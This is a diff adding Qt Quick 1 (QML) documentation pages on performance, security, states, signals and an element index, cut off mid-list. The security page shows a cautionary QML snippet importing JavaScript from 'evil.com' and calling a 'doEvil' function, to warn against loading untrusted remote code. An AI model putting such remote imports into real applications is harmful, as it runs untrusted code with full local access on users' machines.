+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qdeclarativeperformance.html
+\title QML Performance
+
+\section1 Opaque Items
+
+Items hidden behind an opaque item incur a cost. If an item will be enitrely
+obscured by an opaque item, set its opacity to 0. One common example of
+this is when a "details" page is shown over the main application view.
+
+\section1 Clipping
+
+\e clip is set to false by default. Enable clipping only when necessary.
+
+\section1 Anchors vs. Binding
+
+It is more efficient to use anchors rather than bindings to position items
+relative to each other. Consider this use of bindings to position rect2
+relative to rect1:
+
+\code
+Rectangle {
+ id: rect1
+ x: 20
+ width: 200; height: 200
+}
+Rectangle {
+ id: rect2
+ x: rect1.x
+ y: rect1.y + rect1.height
+ width: rect1.width - 20
+ height: 200
+}
+\endcode
+
+This is achieved more efficiently using anchors:
+
+\code
+Rectangle {
+ id: rect1
+ x: 20
+ width: 200; height: 200
+}
+Rectangle {
+ id: rect2
+ height: 200
+ anchors.left: rect1.left
+ anchors.top: rect1.bottom
+ anchors.right: rect1.right
+ anchors.rightMargin: 20
+}
+\endcode
+
+\section1 Images
+
+Images consume a great deal of memory and may also be costly to load. In order
+to deal with large images efficiently it is recommended that the Image::sourceSize
+property be set to a size no greater than that necessary to render it. Beware that
+changing the sourceSize will cause the image to be reloaded.
+
+Images on the local filesystem are usually loaded synchronously. This is usually
+the desired behavior for user interface elements, however for large images that
+do not necessarily need to be visible immediately, set the Image::asynchronous
+property to true. This will load the image in a low priority thread.
+
+\section1 View Delegates
+
+Delegates must be created quickly as the view is flicked. There are two important
+aspects to maintaining a smooth view:
+
+\list
+\o Small delegates - keep the amount of QML to a minimum. Have just enough
+QML in the delegate to display the necessary information. Any additional functionality
+that is only needed when the delegate is clicked, for example, should be created by
+a Loader as needed.
+\o Fast data access - ensure the data model is as fast as possible.
+\endlist
+
+\section1 Image resources over composition
+
+If possible, provide a single image resource, rather than using composition
+of a number of elements. For example, a frame with a shadow could be created using
+a Rectangle placed over an Image providing the shadow. It is more efficient to
+provide an image that includes the frame and the shadow.
+
+\section1 Limit JavaScript
+
+Avoid running JavaScript during animation. For example, running a complex
+JavaScript expression for each frame of an x property animation.
+
+\section1 Rendering
+
+Often using a different graphics system will give superior performance to the native
+graphics system (this is especially the case on X11). This can be configured using
+QApplication::setGraphicsSystem() or via the command line using the \c -graphicssystem
+switch.
+
+You can enable OpenGL acceleration using the \c opengl graphics system, or by setting a
+QGLWidget as the viewport of your QDeclarativeView.
+
+You may need to try various options to find what works the best for your application.
+For embedded X11-based devices one recommended combination is to use the raster graphics
+system with a QGLWidget for the viewport. While this doesn't guarantee the \bold fastest
+performance for all use-cases, it typically has \bold{consistently good} performance for
+all use-cases. In contrast, only using the raster paint engine may result in very good
+performance for parts of your application and very poor performance elsewhere.
+
+The QML Viewer uses the raster graphics system by default for X11 and OS X. It also
+includes a \c -opengl command line option which sets a QGLWidget as the viewport of the
+view. On OS X, a QGLWidget is always used.
+
+You can also prevent QDeclarativeView from painting its window background if
+you will provide the background of your application using QML, e.g.
+
+\code
+QDeclarativeView window;
+window.setAttribute(Qt::WA_OpaquePaintEvent);
+window.setAttribute(Qt::WA_NoSystemBackground);
+window.viewport()->setAttribute(Qt::WA_OpaquePaintEvent);
+window.viewport()->setAttribute(Qt::WA_NoSystemBackground);
+\endcode
+
+*/
diff --git a/doc/src/qtquick1/qdeclarativesecurity.qdoc b/doc/src/qtquick1/qdeclarativesecurity.qdoc
new file mode 100644
index 0000000000..d70d840e8d
--- /dev/null
+++ b/doc/src/qtquick1/qdeclarativesecurity.qdoc
@@ -0,0 +1,80 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qdeclarativesecurity.html
+\title QML Security
+\section1 QML Security
+
+The QML security model is that QML content is a chain of trusted content: the user
+installs QML content that they trust in the same way as they install native Qt applications,
+or programs written with runtimes such as Python and Perl. That trust is establish by any
+of a number of mechanisms, including the availability of package signing on some platforms.
+
+In order to preserve the trust of users, developers producing QML content should not execute
+arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elements.
+
+For example, this QML content:
+
+\qml
+import QtQuick 1.0
+import "http://evil.com/evil.js" as Evil
+
+Component {
+ onLoaded: Evil.doEvil()
+}
+\endqml
+
+is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution
+environment of QML does not try to stop any particular accesses, including local file system
+access, just as for any native Qt application, so the "doEvil" function could do the same things
+as a native Qt application, a Python application, a Perl script, etc.
+
+As with any application accessing other content beyond it's control, a QML application should
+perform appropriate checks on untrusted data it loads.
+
+A non-exhaustive list of the ways you could shoot yourself in the foot is:
+
+\list
+ \i Using \c import to import QML or JavaScript you do not control. BAD
+ \i Using \l Loader to import QML you do not control. BAD
+ \i Using \l{XMLHttpRequest}{XMLHttpRequest} to load data you do not control and executing it. BAD
+\endlist
+
+However, the above does not mean that you have no use for the network transparency of QML.
+There are many good and useful things you \e can do:
+
+\list
+ \i Create \l Image elements with source URLs of any online images. GOOD
+ \i Use XmlListModel to present online content. GOOD
+ \i Use \l{XMLHttpRequest}{XMLHttpRequest} to interact with online services. GOOD
+\endlist
+
+The only reason this page is necessary at all is that JavaScript, when run in a \e{web browser},
+has quite many restrictions. With QML, you should neither rely on similar restrictions, nor
+worry about working around them.
+*/
diff --git a/doc/src/qtquick1/qdeclarativestates.qdoc b/doc/src/qtquick1/qdeclarativestates.qdoc
new file mode 100644
index 0000000000..9857894d2b
--- /dev/null
+++ b/doc/src/qtquick1/qdeclarativestates.qdoc
@@ -0,0 +1,158 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qdeclarativestates.html
+\ingroup qml-features
+\contentspage QML Features
+\previouspage {Importing Reusable Components}
+\nextpage {QML Animation and Transitions}{Animation and Transitions}
+\target qmlstates
+\title QML States
+
+\section1 States Elements
+\list
+\o \l State
+\o \l PropertyChanges
+\o \l StateGroup
+\o \l StateChangeScript
+\o \l ParentChange
+\o \l AnchorChanges
+\endlist
+
+Many user interface designs are \e state driven; interfaces have configurations
+that differ depending on the current state. For example, a traffic signal will
+configure its flags or lights depending on its state. While in the signal's
+\c stop state, a red light will turn on while the yellow and the green lights
+will turn off. In the \c caution state, the yellow light is on while the other
+lights are turned off.
+
+In QML, \e states are a set of property configurations defined in a \l State
+element. Different configurations could, for example:
+
+\list
+\o Show some UI elements and hide others
+\o Present different available actions to the user
+\o Start, stop, or pause animations
+\o Execute some script required in the new state
+\o Change a property value for a particular item
+\o Show a different view or screen
+\endlist
+
+All \l {Item}-based objects have a \c state property, and can specify additional
+states by adding new \c State objects to the item's \l {Item::}{states}
+property. Each state within a component has a unique \c name, an empty string
+being the default. To change the current state
+of an item, set the \l {Item::}{state} property to the name of the state.
+
+Non-Item objects may use states through the \l StateGroup element.
+
+\section1 Creating States
+
+To create a state, add a \l State object to the item's \l {Item::}{states} property,
+which holds a list of states for that item.
+
+A warning \c signal component may have two states, the \c NORMAL and the
+\c CRITICAL state. Suppose that in the \c NORMAL state, the \c color of the
+signal should be \c green and the warning \c flag is down. Meanwhile, in the
+\c CRITICAL state, the \c color should be \c red and the flag is \c up. We may
+model the states using the \c State element and the color and flag
+configurations with the \c PropertyChanges element.
+\snippet doc/src/snippets/declarative/states.qml signal states
+The \l PropertyChanges element will change the values of object properties.
+Objects are referenced through their \l {qml-id-property}{id}. Objects outside
+the component are also referenced using the \c id property, exemplified by the
+property change to the external \c flag object.
+
+Further, the state may change by assigning the \c state property with the
+appropriate signal state. A state switch could be in a \l MouseArea element,
+assigning a different state whenever the signal receives a mouse click.
+\snippet doc/src/snippets/declarative/states.qml switch states
+
+The State element is not limited to performing modifications on property values.
+It can also:
+\list
+\o Run some script using \l StateChangeScript
+\o Override an existing signal handler for an object using \l PropertyChanges
+\o Re-parent an \l Item using \l ParentChange
+\o Modify anchor values using \l AnchorChanges
+\endlist
+
+\section1 The Default State
+
+Every \l Item based component has a \c state property and a \e{default state}.
+The default state is the empty string (\c{""}) and contains all of an item's
+initial property values. The default state is useful for managing property
+values before state changes. Setting the \c state property to an empty string
+will load the default state.
+
+\section1 The \c when Property
+
+For convenience, the \l State element has a \c when property that can bind to
+expressions to change the state whenever the bound expression evaluates to
+\c true. The \c when property will revert the state back to the
+\l {The Default State}{default state} when the expression evaluates to false.
+
+\snippet doc/src/snippets/declarative/states.qml when property
+The \c bell component will change to the \c RINGING state whenever the
+\c signal.state is \c CRITICAL.
+
+\section1 Animating State Changes
+
+State changes induce abrupt value changes. The \l Transition element allow
+smoother changes during state changes. In transitions, animations and
+interpolation behaviors are definable. The
+\l {QML Animation and Transitions}{Animation and Transitions} article has more
+information about creating state animations.
+
+The \l {declarative/animation/states}{States and Transitions example}
+demonstrates how to declare a basic set of states and apply animated
+transitions between them.
+
+\l{Using QML Behaviors with States} explains a common problem when using Behaviors
+to animate state changes.
+
+\section1 State Fast Forwarding
+
+In order for Transition to correctly animate state changes, it is sometimes necessary
+for the engine to fast forward and rewind a state (that is, internally set and unset the state)
+before it is finally applied. The process is as follows:
+
+\list 1
+\o The state is fast forwarded to determine the complete set of end values.
+\o The state is rewound.
+\o The state is fully applied, with transitions.
+\endlist
+
+In some cases this may cause unintended behavior. For example, a state that changes
+a view's \i model or a Loader's \i sourceComponent will set these properties
+multiple times (to apply, rewind, and then reapply), which can be relatively expensive.
+
+State fast forwarding should be considered an implementation detail,
+and may change in later versions.
+
+*/
diff --git a/doc/src/qtquick1/qmlevents.qdoc b/doc/src/qtquick1/qmlevents.qdoc
new file mode 100644
index 0000000000..36db3efe02
--- /dev/null
+++ b/doc/src/qtquick1/qmlevents.qdoc
@@ -0,0 +1,127 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qmlevents.html
+\ingroup qml-features
+\contentspage QML Features
+\previouspage {Keyboard Focus in QML}{Keyboard Focus}
+\nextpage Importing Reusable Components
+
+\title QML Signal and Handler Event System
+
+QML utilizes Qt's \l{The Meta-Object System}{meta-object} and
+\l{Signals & Slots}{signals} systems. Signals and slots created using Qt in C++
+are inheritely valid in QML.
+
+\keyword qml-signals-and-handlers
+\section1 Signals and Handlers
+
+Signals provide a way to notify other objects when an event has occurred. For
+example, the MouseArea \c clicked signal notifies other objects that the mouse
+has been clicked within the area.
+
+The syntax for defining a new signal is:
+
+\tt{signal <name>[([<type> <parameter name>[, ...]])]}
+
+Attempting to declare two signals or methods with the same name in the same type
+block generates an error. However, a new signal may reuse the name of an existing signal on the type. (This should be done with caution, as the existing signal may be hidden and become inaccessible.)
+
+Here are various examples of signal declarations:
+\snippet doc/src/snippets/declarative/events.qml parent begin
+\snippet doc/src/snippets/declarative/events.qml signal declaration
+\snippet doc/src/snippets/declarative/events.qml parent end
+
+If the signal has no parameters, the "\c{()}" brackets are optional. If
+parameters are used, the parameter types must be declared, as for the \c string
+and \c variant arguments of the \c perform signal.
+
+Adding a signal to an item automatically adds a \e{signal handler} as well. The
+signal hander is named \c on<SignalName>, with the first letter of the signal in
+uppercase. The previous signals have the following signal handlers:
+\snippet doc/src/snippets/declarative/events.qml signal handler declaration
+
+Further, each QML properties have a \c{<property_name>Changed} signal and its
+corresponding \c{on<property_name>Changed} signal handler. As a result, property
+changes may notify other components for any changes.
+\snippet doc/src/snippets/declarative/events.qml automatic signals
+
+To emit a signal, invoke it as a method. The signal handler binding is similar
+to a property binding and it is invoked when the signal is emitted. Use the
+defined argument names to access the respective arguments.
+\snippet doc/src/snippets/declarative/events.qml signal emit
+Note that the \c Component.onCompleted is an
+\l{attached-signalhandlers}{attached signal handler}; it is invoked when the
+\l Component initialization is complete.
+
+\keyword qml-connect-signals-to-method
+\section2 Connecting Signals to Methods and Signals
+
+Signal objects have a \c connect() method to a connect a signal either to a
+method or another signal. When a signal is connected to a method, the method is
+automatically invoked whenever the signal is emitted. (In Qt terminology, the
+method is a \e slot that is connected to the \e signal; all methods defined in
+QML are created as \l{Signals & Slots}{Qt slots}.) This enables a signal
+to be received by a method instead of a \l {Signal Handlers}{signal handler}.
+
+\snippet doc/src/snippets/declarative/events.qml connect method
+The \c {connect()} method is appropriate when connecting a JavaScript method to
+a signal.
+
+There is a corresponding \c disconnect() method for removing connected
+signals.
+
+\section3 Signal to Signal Connect
+
+By connecting signals to other signals, the \c connect() method can form different
+signal chains.
+\snippet doc/src/snippets/declarative/events.qml forward signal
+
+
+Whenever the \l MouseArea \c clicked signal is emitted, the \c send
+signal will automatically be emitted as well.
+
+\code
+output:
+ MouseArea clicked
+ Send clicked
+\endcode
+
+\section1 C++ Additions
+
+Because QML uses Qt, a signal defined in C++ also works as a QML signal. The
+signal may be emitted in QML code or called as a method. In addition, the QML
+runtime automatically creates signal handlers for the C++ signals. For more
+signal control, the \c connect() method and the \l Connections element may connect
+a C++ signal to another signal or method.
+
+For complete information on how to call C++ functions in QML, read the
+\l{Extending QML - Signal Support Example}.
+
+
+*/
diff --git a/doc/src/qtquick1/qmlinuse.qdoc b/doc/src/qtquick1/qmlinuse.qdoc
new file mode 100644
index 0000000000..1f618900fe
--- /dev/null
+++ b/doc/src/qtquick1/qmlinuse.qdoc
@@ -0,0 +1,499 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qmlinuse.html
+\title Using QML elements
+
+\raw HTML
+ <div class="item group">
+ <div class="secondaryx">
+ <div class="toc">
+ <h3>
+ <a name="toc">QML Elements</a></h3>
+ <ul>
+ <li class="level1"><a href="#basicElements">Basic QML Elements</a></li>
+ <li class="level1"><a href="#visualElements">QML Visual Elements</a></li>
+ <li class="level1"><a href="#AnimAndTrans">QML Animation and Transition Elements</a></li>
+ <li class="level1"><a href="#interactElement">Basic QML Interaction Elements</a></li>
+ <li class="level1"><a href="#eventElements">QML Event Elements</a></li>
+ <li class="level1"><a href="#Position">QML Positioning Elements</a></li>
+ <li class="level1"><a href="#stateElement">QML State Elements</a></li>
+ <li class="level1"><a href="#transformElement">QML Transform Elements</a></li>
+ <li class="level1"><a href="#utilityElement">QML Utility Elements</a></li>
+ <li class="level1"><a href="#modelView">Models and View Elements</a></li>
+ <li class="level1"><a href="#paths">Paths</a></li>
+ <li class="level1"><a href="#ParticleElement">Particle Elements</a></li>
+ <li class="level1"><a href="#bridge">Bridge Elements</a></li>
+ </ul>
+ </div>
+ </div>
+ <div class="primary">
+ <h1>
+ Groups Of Related QML Elements</h1>
+ <p>
+ QML Elements are grouped by their respective functionalities. Certain elements are
+ suited for building complex components while other elements strictly dictate appearances
+ and color.</p>
+ <div class="cols two group unclear">
+ <div class="col first">
+ <p>
+ <i>add something about elements in use in general</i></p>
+ </div>
+ <div class="col">
+ <img src="images/quick_screens.png" />
+ </div>
+ </div>
+ </div>
+ </div>
+ <!-- tech domains start -->
+ <div class="item group">
+ <hr />
+ <div class="secondary">
+ <div class="box">
+ <!-- video box -->
+ <h3>
+ image heading</h3>
+ <img src="" />
+ <p>
+ img descr.</p>
+ </div>
+ <!-- video box end -->
+ </div>
+ <div class="primary">
+ <h2><a name="basicElements"> Basic QML Elements</a></h2>
+ <p>
+ Basic elements can be extended to form more complex elements.</p>
+ <b>Elements:</b>
+ <ul>
+ <li><a href="qml-item.html">Item Element</a>
+ - The Item is the most basic of all visual items in QML. Many visual elements inherit
+ properties from the Item element.</li>
+ <li><a href="qml-component.html">Component Element</a>
+ - The Component element encapsulates a QML component definition.</li>
+ </ul>
+ </div>
+ </div>
+ <!-- next -->
+ <div class="item group">
+ <hr />
+ <div class="secondary">
+ <div class="box">
+ <!-- video box -->
+ <h3>
+ image heading</h3>
+ <img src="" />
+ <p>
+ img descr.</p>
+ </div>
+ <!-- video box end -->
+ </div>
+ <div class="primary">
+ <h2><a name="visualElements">QML Visual Elements</a></h2>
+ <p>
+ Visual elements offer various interactive and graphical functionalities. Visual
+ elements can directly set properties that dictate appearances.</p>
+ <b>Elements:</b>
+ <ul>
+ <li><a href="qml-borderimage.html">BorderImage
+ Element</a> - The BorderImage element provides an image that can be used as a border.</li>
+ <li><a href="qml-gradient.html">Gradient Element</a>
+ - The Gradient item defines a gradient fill.</li>
+ <li><a href="qml-gradientstop.html">GradientStop
+ Element</a> - The GradientStop item defines the color at a position in a Gradient.</li>
+ <li><a href="qml-image.html">Image Element</a>
+ - The Image element displays an image from a source.</li>
+ <li><a href="qml-rectangle.html">Rectangle Element</a>
+ - The Rectangle item provides a filled rectangle.</li>
+ <li><a href="qml-text.html">Text Element</a>
+ - The Text item allows the addition of formatted text to a scene.</li>
+ <li><a href="qml-textedit.html">TextEdit Element</a>
+ - The TextEdit item displays multiple lines of editable formatted text.</li>
+ <li><a href="qml-textinput.html">TextInput Element</a>
+ - The TextInput item displays an editable line of text.</li>
+ </ul>
+ </div>
+ </div>
+ <!-- next -->
+ <div class="item group">
+ <hr />
+ <div class="secondary">
+ <div class="box">
+ <!-- video box -->
+ <h3>
+ image heading</h3>
+ <img src="" />
+ <p>
+ img descr.</p>
+ </div>
+ <!-- video box end -->
+ </div>
+ <div class="primary">
+ <h2><a name="AnimAndTrans">QML Animation and Transition Elements</a></h2>
+ <p>
+ Animation and transition elements control animation behaviors. Animations can run
+ in parallel or in series for different value types.
+ </p>
+ <b>Elements:</b>
+ <ul>
+ <li><a href="qml-anchoranimation.html">AnchorAnimation Element</a> -
+ The AnchorAnimation element animates changes in anchor values.</li>
+ <li><a href="qml-animation.html">Animation Element</a> - The Animation
+ element is the base of all QML animations.</li>
+ <li><a href="qml-behavior.html">Behavior Element</a> - The Behavior element allows you to specify a default animation for a property change.</li>
+ <li><a href="qml-coloranimation.html">ColorAnimation Element</a> - The ColorAnimation element animates changes in color values.</li>
+ <li><a href="qml-numberanimation.html">NumberAnimation Element</a> - The NumberAnimation element animates changes in qreal-type values.</li>
+ <li><a href="qml-parallelanimation.html">ParallelAnimation Element</a> - The ParallelAnimation element allows animations to be run in parallel.</li>
+ <li><a href="qml-parentanimation.html">ParentAnimation Element</a> - The ParentAnimation element animates changes in parent values.</li>
+ <li><a href="qml-pauseanimation.html">PauseAnimation Element</a> - The PauseAnimation element provides a pause during an animation.</li>
+ <li><a href="qml-propertyaction.html">PropertyAction Element</a> - The PropertyAction element allows immediate property changes during animation.</li>
+ <li><a href="qml-propertyanimation.html">PropertyAnimation Element</a> - The PropertyAnimation element animates changes in property values.</li>
+ <li><a href="qml-rotationanimation.html">RotationAnimation Element</a> - The RotationAnimation element animates changes in rotational values.</li>
+ <li><a href="qml-scriptaction.html">ScriptAction Element</a> - The ScriptAction element allows scripts to be run during an animation.</li>
+ <li><a href="qml-sequentialanimation.html">SequentialAnimation Element</a> - The SequentialAnimation element allows animations to be run sequentially.</li>
+ <li><a href="qml-smoothedanimation.html">SmoothedAnimation Element</a> - The SmoothedAnimation element allows a property to smoothly track a value.</li>
+ <li><a href="qml-springanimation.html">SpringAnimation Element</a> - The SpringAnimation element allows a property to track a value in a spring-like
+ motion.</li>
+ <li><a href="qml-transition.html">Transition Element</a> - The Transition element defines animated transitions that occur on state changes.</li>
+ <li><a href="qml-vector3danimation.html">Vector3dAnimation Element</a> - The Vector3dAnimation element animates changes in QVector3d values.</li>
+ </ul>
+ </div>
+ </div>
+ <!-- next -->
+ <div class="item group">
+ <hr />
+ <div class="secondary">
+ <div class="box">
+ <!-- video box -->
+ <h3>
+ image heading</h3>
+ <img src="" />
+ <p>
+ img descr.</p>
+ </div>
+ <!-- video box end -->
+ </div>
+ <div class="primary">
+ <h2><a name="interactElement">QML Interaction Elements</a></h2>
+ <p>
+ These elements define basic interactions such as touch movements and focus management.</p>
+ <b>Elements:</b>
+ <ul>
+ <li><a href="qml-flickable.html">Flickable Element</a> - The Flickable item provides a surface that can be "flicked".</li>
+ <li><a href="qml-flipable.html">Flipable Element</a> - The Flipable item provides a surface that can be flipped or reflected.</li>
+ <li><a href="qml-focuspanel.html">FocusPanel Element</a> - The FocusPanel item explicitly creates a focus panel.</li>
+ <li><a href="qml-focusscope.html">FocusScope Element</a> - The FocusScope object explicitly creates a focus scope for focus management.</li>
+ <li><a href="qml-pincharea.html">PinchArea Element</a> - The PinchArea item enables simple pinch gesture handling.</li>
+ <li><a href="qml-keynavigation.html">KeyNavigation Element</a> - The KeyNavigation attached property supports key navigation by arrow keys.</li>
+ <li><a href="qml-keys.html">Keys Element</a> - The Keys attached property provides key handling to Items.</li>
+ <li><a href="qml-mousearea.html">MouseArea Element</a> - The MouseArea item enables simple mouse handling.</li>
+ </ul>
+ </div>
+ </div>
+ <!-- next -->
+ <div class="item group">
+ <hr />
+ <div class="secondary">
+ <div class="box">
+ <!-- video box -->
+ <h3>
+ image heading</h3>
+ <img src="" />
+ <p>
+ img descr.</p>
+ </div>
+ <!-- video box end -->
+ </div>
+ <div class="primary">
+ <h2><a name="eventElements">QML Event Elements</a></h2>
+ <p>
+ Key and mouse events information are provided in these event elements.</p>
+ <b>Elements:</b>
+ <ul>
+ <li><a href="qml-keyevent.html">KeyEvent Element</a> - The KeyEvent
+ object provides information about a key event.</li>
+ <li><a href="qml-mouseevent.html">MouseEvent Element</a> - The MouseEvent
+ object provides information about a mouse event.</li>
+ </ul>
+ </div>
+ </div>
+ <!-- next -->
+ <div class="item group">
+ <hr />
+ <div class="secondary">
+ <div class="box">
+ <!-- video box -->
+ <h3>
+ image heading</h3>
+ <img src="" />
+ <p>
+ img descr.</p>
+ </div>
+ <!-- video box end -->
+ </div>
+ <div class="primary">
+ <h2><a name="Position">QML Positioning Elements</a></h2>
+ <p>
+ Using positioning elements, layouts can be defined and their children accessed through
+ an index.</p>
+ <b>Elements:</b>
+ <ul>
+ <li><a href="qml-column.html">Column Element</a> - The Column
+ item arranges its children vertically.</li>
+ <li><a href="qml-flow.html">Flow Element</a> - The Flow item
+ arranges its children side by side, wrapping as necessary.</li>
+ <li><a href="qml-grid.html">Grid Element</a> - The Grid item
+ positions its children in a grid.</li>
+ <li><a href="qml-row.html">Row Element</a> - The Row item
+ arranges its children horizontally.</li>
+ <li><a href="qml-repeater.html">Repeater Element</a> - The Repeater element allows you to repeat an Item-based component using a model.</li>
+ </ul>
+ </div>
+ </div>
+ <!-- next -->
+ <div class="item group">
+ <hr />
+ <div class="secondary">
+ <div class="box">
+ <!-- video box -->
+ <h3>
+ image heading</h3>
+ <img src="" />
+ <p>
+ img descr.</p>
+ </div>
+ <!-- video box end -->
+ </div>
+ <div class="primary">
+
+ <h2><a name="stateElement">QML State Elements</a></h2>
+ <p>
+ States and groups of states are formed using state elements.</p>
+ <b>Elements:</b>
+ <ul>
+ <li><a href="qml-anchorchanges.html">AnchorChanges Element</a> - The AnchorChanges element allows you to change the anchors of an item in a state.</li>
+ <li><a href="qml-parentchange.html">ParentChange Element</a> - The ParentChange element allows you to reparent an Item in a state change.</li>
+ <li><a href="qml-propertychanges.html">PropertyChanges Element</a> - The PropertyChanges element describes new property bindings or values for a state.</li>
+ <li><a href="qml-state.html">State Element</a> - The State
+ element defines configurations of objects and properties.</li>
+ <li><a href="qml-statechangescript.html">StateChangeScript Element</a> - The StateChangeScript element allows you to run a script in a state.</li>
+ <li><a href="qml-stategroup.html">StateGroup Element</a> - The StateGroup element provides state support for non-Item elements.</li>
+ </ul>
+ </div>
+ </div>
+ <!-- next -->
+ <div class="item group">
+ <hr />
+ <div class="secondary">
+ <div class="box">
+ <!-- video box -->
+ <h3>
+ image heading</h3>
+ <img src="" />
+ <p>
+ img descr.</p>
+ </div>
+ <!-- video box end -->
+ </div>
+ <div class="primary">
+ <h2><a name="transformElement">QML Transform Elements</a></h2>
+ <p>
+ Advanced handling of transformations is controlled in transform elements.</p>
+ <b>Elements:</b>
+ <ul>
+ <li><a href="qml-rotation.html">Rotation Element</a> - The Rotation object provides a way to rotate an Item.</li>
+ <li><a href="qml-scale.html">Scale Element</a> - The Scale element provides a way to scale an Item.</li>
+ <li><a href="qml-transform.html">Transform Element</a> - The Transform element provide a way of building advanced transformations on Items.</li>
+ <li><a href="qml-translate.html">Translate Element</a> - The Translate object provides a way to move an Item without changing its x or y properties.</li>
+ </ul>
+ </div>
+ </div>
+ <!-- next -->
+ <div class="item group">
+ <hr />
+ <div class="secondary">
+ <div class="box">
+ <!-- video box -->
+ <h3>
+ image heading</h3>
+ <img src="" />
+ <p>
+ img descr.</p>
+ </div>
+ <!-- video box end -->
+ </div>
+ <div class="primary">
+ <h2><a name="utilityElement">QML Utility Elements</a></h2>
+ <p>
+ These elements handle assorted operations such as event timing, Qt enumerations,
+ and font loading.</p>
+ <b>Elements:</b>
+ <ul>
+ <li><a href="qml-binding.html">Binding Element</a> - The Binding element allows arbitrary property bindings to be created.</li>
+ <li><a href="qml-connections.html">Connections Element</a> - A Connections element describes generalized connections to signals.</li>
+ <li><a href="qml-doublevalidator.html">DoubleValidator Element</a> - Provides a validator for non-integer numbers.</li>
+ <li><a href="qml-fontloader.html">FontLoader Element</a> - The FontLoader element allows fonts to be loaded by name or URL.</li>
+ <li><a href="qml-intvalidator.html">IntValidator Element</a> - This element provides a validator for integer values.</li>
+ <li><a href="qml-layoutitem.html">LayoutItem Element</a> - The LayoutItem element allows declarative UI elements to be placed inside Qt's Graphics View layouts.</li>
+ <li><a href="qml-loader.html">Loader Element</a> - The Loader item allows dynamically loading an Item-based subtree from a URL or Component.</li>
+ <li><a href="qml-package.html">Package Element</a> - Package provides a bundle for shared contexts in multiple views.</li>
+ <li><a href="qml-qt.html">Qt Element</a> - The QML global Qt object provides useful enums and functions from Qt.</li>
+ <li><a href="qml-qtobject.html">QtObject Element</a> - The QtObject element is the most basic element in QML.</li>
+ <li><a href="qml-regexpvalidator.html">RegExpValidator Element</a> - This element provides a validator for regular expressions.</li>
+ <li><a href="qml-systempalette.html">SystemPalette Element</a> - The SystemPalette element provides access to the Qt palettes.</li>
+ <li><a href="qml-timer.html">Timer Element</a> - The Timer item triggers a handler at a specified interval.</li>
+ <li><a href="qml-workerscript.html">WorkerScript Element</a> - The WorkerScript element enables the use of threads in QML.</li>
+ </ul>
+ </div>
+ </div>
+ <!-- next -->
+ <div class="item group">
+ <hr />
+ <div class="secondary">
+ <div class="box">
+ <!-- video box -->
+ <h3>
+ image heading</h3>
+ <img src="" />
+ <p>
+ img descr.</p>
+ </div>
+ <!-- video box end -->
+ </div>
+ <div class="primary">
+ <h2><a name="modelView">Models and View Elements</a></h2>
+ <p>
+ Models and views are used to organize data and control their layouts using delegates.
+ Models dictate the data formation and views control the layouts of data in the model.</p>
+ <b>View Elements:</b>
+ <ul>
+ <li><a href="qml-gridview.html">GridView Element</a> - The GridView item provides a grid view of items provided by a model.</li>
+ <li><a href="qml-listview.html">ListView Element</a> - The ListView item provides a list view of items provided by a model.</li>
+ <li><a href="qml-pathview.html">PathView Element</a> - The PathView element lays out model-provided items on a path.</li>
